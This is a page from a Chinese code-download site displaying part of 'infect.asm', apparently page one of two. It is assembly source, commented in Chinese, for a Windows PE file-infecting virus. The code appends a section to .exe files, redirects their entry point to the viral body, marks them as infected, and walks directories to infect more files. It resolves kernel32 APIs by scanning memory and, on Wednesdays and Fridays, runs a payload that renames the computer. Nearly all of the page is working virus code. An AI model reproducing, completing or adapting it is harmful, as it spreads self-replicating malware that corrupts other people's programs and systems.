⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 infect.asm

📁 感染文件程序
💻 ASM
📖 第 1 页 / 共 2 页
字号:
			   lea esi,Section_table[ebx]     ;取段表Buffer区地址到ESI(里面已经存入了原文件的段表了)
			   movzx eax,PE_head[ebx].FileHeader.NumberOfSections
			   mov ecx,28h                                            ;;;;;;IMAGE_SECTION_HEADER长为28H
			   mul ecx
			   add esi,eax    ;ESI移到Buffer中段表尾部,准备从这里开始写新段的段头
			   inc PE_head[ebx].FileHeader.NumberOfSections   ;PE_head Buffer中的NumberOfSections加1
			   lea edi,new_section[ebx]               ;取新段段头Buffer地址到EDI
			   xchg edi,esi                        ;ESI->段头Buffer      EDI ->Buffer 中段表尾部
	;填加一个节
	;------------------------------------(上面的)--
			   mov eax,[edi-28h+8]              ;;取原文件最后一个段的映象大小
			   add eax,[edi-28h+0ch]            ;取映象偏移加到上去得到尾部偏移,作为新加段映象的起始偏移
			   mov ecx,PE_head[ebx].OptionalHeader.SectionAlignment
			   XOR EDX,EDX             ; ---------------------------------------------------------------------------------------------------
			   div ecx
			   TEST EDX,EDX
			   JZ N1                    ;已经对齐就算了
			   inc eax
			   N1:
			   mul ecx
			   mov new_section[ebx].virt_addr,eax      ;修正映象基址对齐后存到新段段表的Buffer
	;建立新块,并且块对齐,得到新块入口地址
	;------------------------------------(上面的)--
			   
			   mov eax,checker_len[ebx]          ; 里面有新段长度
			   mov ecx,PE_head[ebx].OptionalHeader.FileAlignment
			   XOR EDX,EDX
			   div ecx
			   TEST EDX,EDX
			   JZ N2
			   inc eax
			   N2:
			   mul ecx
			   mov new_section[ebx].raw_size,eax       ;修正长度使对齐后存入新段段Buffer
	;得出新块的物理大小,按文件对齐
	;------------------------------------(上面的)--                  
			   mov eax,checker_len[ebx]
			   mov ecx,PE_head[ebx].OptionalHeader.SectionAlignment
			   XOR EDX,EDX
			   div ecx
			   TEST EDX,EDX
			   JZ N3
			   inc eax
			   N3:
			   mul ecx
			   mov new_section[ebx].virt_size,eax      ;修正映象大小对齐后存入新段段Buffer
	;得出虚拟地址,按块对齐
	;------------------------------------(上面的)--
				   
			   mov eax,[edi-28h+14h]    ;取最后一个段的文件偏移
			   add eax,[edi-28h+10h]     ;加上其文件长度得到文件尾部,作为新段文件起始偏移
			   mov ecx,PE_head[ebx].OptionalHeader.FileAlignment    ;;;;;;似应为FileAlignment
			   XOR EDX,EDX
			   div ecx
			   TEST EDX,EDX
			   JZ N4
			   inc eax
			   N4:
			   mul ecx
			   mov new_section[ebx].raw_offset,eax     ;修正文件偏移对齐后存入新段段Buffer
	;得到文件中的偏移。(按理说应该是文件最末)
	;------------------------------------(上面的)--
				mov eax,new_section[ebx].virt_size
			   ;add eax,PE_head[ebx].OptionalHeader.SizeOfImage   ; 有问题 ,可能造成sizeofImage错误 ,因为Virt_size经过对齐了,而Virt_size也经过对齐了,这样加可能会使
			    ADD EAX,new_section[ebx].virt_addr            ;Virt_size+Virt_offset不等于ImageSize ,而这个等式将决定文件是否有效!!
			   mov PE_head[ebx].OptionalHeader.SizeOfImage,eax
	;更新文件总尺寸。即原文件尺寸加上新块的虚拟尺寸然后对齐
	;------------------------------------(上面的)--
				mov ecx,28h
			   rep movsb               ;ESI->新段信息Buffer      EDI ->Buffer 中段表尾部,将新区段文件头写入段表Buffer
	;填加新块内容
	;------------------------------------(上面的)--                  
			   mov eax,new_section[ebx].virt_addr
			   add eax,offset vstart-offset ApiStart
			   mov PE_head[ebx].OptionalHeader.AddressOfEntryPoint,eax
	;改入口地址
	;------------------------------------(上面的)--
					   
			   mov word ptr PE_head[ebx+1ah],0707h    ;连接器版本
	;填加感染标志
	;------------------------------------(上面的)--
					   
			   push FILE_BEGIN
			   push 0
			   push PE_head_addr[ebx]
			   push hFile[ebx]
			   call vSetFilePointer[ebx]
	;调指针
	;------------------------------------(上面的)--
				push 0
			   lea eax,byte_read[ebx]
			   push eax
			   push Head_len[ebx]
			   lea eax,PE_head[ebx]
			   push eax
			   push hFile[ebx]
			   call vWriteFile[ebx]
	;更新文件头 ;将PE头和Section Table一并写入文件
	;------------------------------------(上面的)--
			   push FILE_BEGIN
			   push 0
			   push new_section[ebx].raw_offset
			   push hFile[ebx]
			   call vSetFilePointer[ebx]
	;更新指针(到文件尾)
	;------------------------------------(上面的)--
			   push 0
			   lea eax,byte_read[ebx]
			   push eax
			   push new_section[ebx].raw_size
			   lea eax,ApiStart[ebx]
			   push eax
			   push hFile[ebx]
			   call vWriteFile[ebx]
	;写病毒代码
	;------------------------------------(上面的)--
			  exitwrite:
			 readfail:
		 push hFile[ebx]
		 call vCloseHandle[ebx]
	;关闭当前文件
	;------------------------------------(上面的)--
		createfail:
		
	  
	;--------------------------------
	;目录结尾区
	 EndDir: lea eax,FindData[ebx]
		
		push eax
		push hFind[ebx]
		call vFindNextFileA[ebx]
		cmp eax,0
		jnz GoOnFind 
	;查找下一个文件,然后继续感染,直到全感染全为止
	;------------------------------------(上面的)--
	 FindEnds:
		push hFind[ebx]
		call vFindClose[ebx]
		inc NowPathNo[ebx]
		jmp FindStartT
	;为了调试方便,在此只感染当前目录
	;------------------------------------(上面的)--
	 AllFindEnd:
		lea eax,SrcDir[ebx]
		push eax
		call vSetCurrentDirectoryA[ebx]
	;恢复当前目录
	;------------------------------------(上面的)--
	 ;####[ 病毒发作区 ]########################;       
		lea eax,NowTimes[ebx]
		push eax
		call vGetSystemTime[ebx]
		cmp NowTimes[ebx].wDayOfWeek,0003h
		jz InTimes
		cmp NowTimes[ebx].wDayOfWeek,0005h
		jnz ExitTimes
	;根据时间决定,每周星期三和星期五发作
	;SYSTEMTIME STRUCT
    ; wYear             WORD      ?
     ;wMonth            WORD      ?
     ;wDayOfWeek        WORD      ?
     ;wDay              WORD      ?
     ;wHour             WORD      ?
     ;wMinute           WORD      ?
     ;wSecond           WORD      ?
     ;wMilliseconds     WORD      ?
    ;SYSTEMTIME ENDS
	;------------------------------------(上面的)--
	;--- 发作代码 -------------------
	 InTimes:
	;--------------------------------
			 lea eax,cpu_name[ebx]
             push eax
			 call vSetComputerNameA[ebx]
	;显示一个提示窗口
	;------------------------------------(上面的)--
	 ExitTimes:
	;###########################################;
	; 恢复寄存器,跳回原程序处   
	;------------------------------------------
	
             ;invoke WaitForSingleObjectEx,eax,-1,0
             push 0
             push -1
             push threadHdl[ebx]
             call vWaitForSingleObjectEx[ebx]
             ;==================================================================
             ;关闭互斥体句柄
             push mutexHdl[ebx]
             call vCloseHandle[ebx]
             ;===================================================================
      outNow:
             pop ebp
             push 0
             call vExitProcess[ebx]
;==================================================================
; API操作数据区
;===================================================================



;暴力获取API子过程区
;==============================================
;**********************************************************************
;函数功能:获取 API 的入口地址
;**********************************************************************
GetApiAddress proc uses ecx edi dwHandle:DWORD,dwApiPtr:DWORD,dwApiEnd:DWORD
     
     mov edi,dwApiPtr
        .while edi<dwApiEnd
            push edi
            push dwHandle
            call vGetProcAddress[ebx]
            xchg eax,ecx
            xor al, al 
         s_check: scasb
            jne s_check
            mov dword ptr [edi], ecx
            add edi,4
        .endw
      ret
GetApiAddress endp


;**********************************************************************
;函数功能:从内存中 Kernel32.dll 的导出表中获取三个关键 API 的入口地址
;**********************************************************************
initializtion proc uses ecx edx esi edi dwStart:DWORD
    LOCAL dwNumberOfNames:DWORD
    LOCAL dwNowPtr:DWORD
    LOCAL dwEndPtr:DWORD

    mov edi,dwStart                ; edi = 堆栈顶
    and edi, 0ffff0000h                 ; 用 AND 获得初始页
    .while TRUE
        .if word ptr [edi] == IMAGE_DOS_SIGNATURE       ; 等于“MZ”吗?
            mov esi, edi                                ; Yes, next...
            add esi, [esi + IMAGE_DOS_HEADER.e_lfanew]  ; 就是 esi + 3ch
            .if word ptr [esi] == IMAGE_NT_SIGNATURE    ; 等于“PE”吗?
                mov hKernelDll[ebx], edi                       ; Yes, we got it.
                .break
            .endif
        .endif
        ;以下等同于sub edi, 010000h,即每次减少64k:
        dec edi
        xor di, di
        .break  .if edi < 070000000h    ; 基地址一般不可能小于70000000h
    .endw

    ;从 PE 文件头的数据目录获取输出表的地址
    ;mov edi, hKernelDll
    add edi, [edi + 3ch]
    assume edi: ptr IMAGE_NT_HEADERS
    mov edi, [edi].OptionalHeader.DataDirectory.VirtualAddress
    add edi, hKernelDll[ebx]
    assume edi:ptr IMAGE_EXPORT_DIRECTORY   ; edi 指向 Kernel32.dll 的输出表
; done!  :)
    push [edi].NumberOfNames
    pop dwNumberOfNames
    mov esi,[edi].AddressOfNames
    add esi,[hKernelDll+ebx] ;ESI指向 名字 字串指针 数组头
    lea ecx,ApiList[ebx]
    mov dwEndPtr,ecx
    lea ecx,ApiStart[ebx]
    NextFunction:
    .while dwEndPtr>ecx
          mov dwNowPtr,ecx
          push [edi].NumberOfNames
          pop dwNumberOfNames
          mov esi,[edi].AddressOfNames
          add esi,hKernelDll[ebx]     ;ESI指向 名字 字串指针 数组头
        lost:
        .while dwNumberOfNames>0 
           mov eax,dword ptr [esi] 
           ;lodsw
           add eax,hKernelDll[ebx]  ;EAX指向 字串头,即当前  函数名字
           mov ecx,dwNowPtr
           .while byte ptr [ecx]
                mov dl,[ecx]
                .if dl==[eax]
                    inc ecx
                    inc eax
                .else
                    add esi,4
                    dec dwNumberOfNames
                    jmp lost
                .endif
           .endw 
           ;哈哈,名字找到了,就把对应的地址找出来,返回吧
           mov eax,[edi].NumberOfNames
           sub eax,dwNumberOfNames
           shl eax,1
           add eax,[edi].AddressOfNameOrdinals 
           add eax,hKernelDll[ebx]     ;ecx指向 序号 数组头                        ;相对索引
           mov dx,[eax]
           movzx eax,dx  
           shl eax,2
           add eax,[edi].AddressOfFunctions
           add eax,hKernelDll[ebx]
           mov eax,dword ptr [eax]
           add eax,hKernelDll[ebx]
           mov dword ptr[ecx+1],eax
           add ecx,5
           jmp NextFunction
           ret
        .endw
        ret ;有一个函数地址找不到也就没有必要再找下去了
    .endw    
    ret
initializtion   endp

;=============================================
	;   其它的略....
	;不同的WIN系统这里的地址是不同的。
	;因此说这个病毒并不是每个WIN系统都会传染的
	;------------------------------------(上面的)--  
	
	;======================================================
   
	;======================================================
		ALIGN 4
		jumpaddr            dd        0
		PE_head_addr        dd        0
		checker_len         dd        0
        cpu_name            db         "-_-!",0
		PE_head             IMAGE_NT_HEADERS    <0> 
		Section_table       db        280h dup (0)  
		                    db 100h dup(0)   ;Bound_table 指向空间内容的Buffer,主要防止Section_table的空间不够,写时还是将Section_table作为基准
		Head_len          dd        0        ;sizeof PE_head+sizeof Section_table     ; PE文件头和块表的长度
	   
		my_section     struc
		sec_name        db      2Eh,69h,64h,61h,74h,61h,0,0                   ; 块名,最好用Hex写,免得不是8个字节!
		virt_size       dd      0               ; 块长
		virt_addr       dd      0               ; 该块RVA地址
		raw_size        dd      0               ; 该块物理长度
		raw_offset      dd      0               ; 该块物理偏移
						dd      0,0,0           ; 未用
		sec_flags       dd      0E0000020h      ; 属性 
		my_section    ends
		new_section    my_section <>
	    
	    
	    
		;secbuffer           db        512 dup (0)     ;多余
		;tempbuffer          db        128 dup (0)
		hFile               dd        0         
		des_in              dd        0
		des_base            dd        0
		des_basein          dd        0
		id                  dd        0
		threadHdl           dd        0     ;宿主线程句柄
		mutexName           db        'LoveSunny',0  ;互斥体名
		mutexHdl            dd        0            ;互斥体句柄
		byte_read           dd        0
		Section_addr        dd        0
		vsize               dd        0
	;相关的变量定义
	;------------------------------------(上面的)--
	;-----------------------------
	; 查找文件专用
		
		FileFilter db "*.exe",0
		FindData   WIN32_FIND_DATA <>
		hFind      dd 0
		NowPath    db 256 dup (0)
		NowPathNo  db 0
		SrcDir     db 256 dup (0)
	;-----------------------------
		NowTimes   SYSTEMTIME  <>
	;-----------------------------
	 vend:
	 BadDay ends
	end vstart
	 
	 
	

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -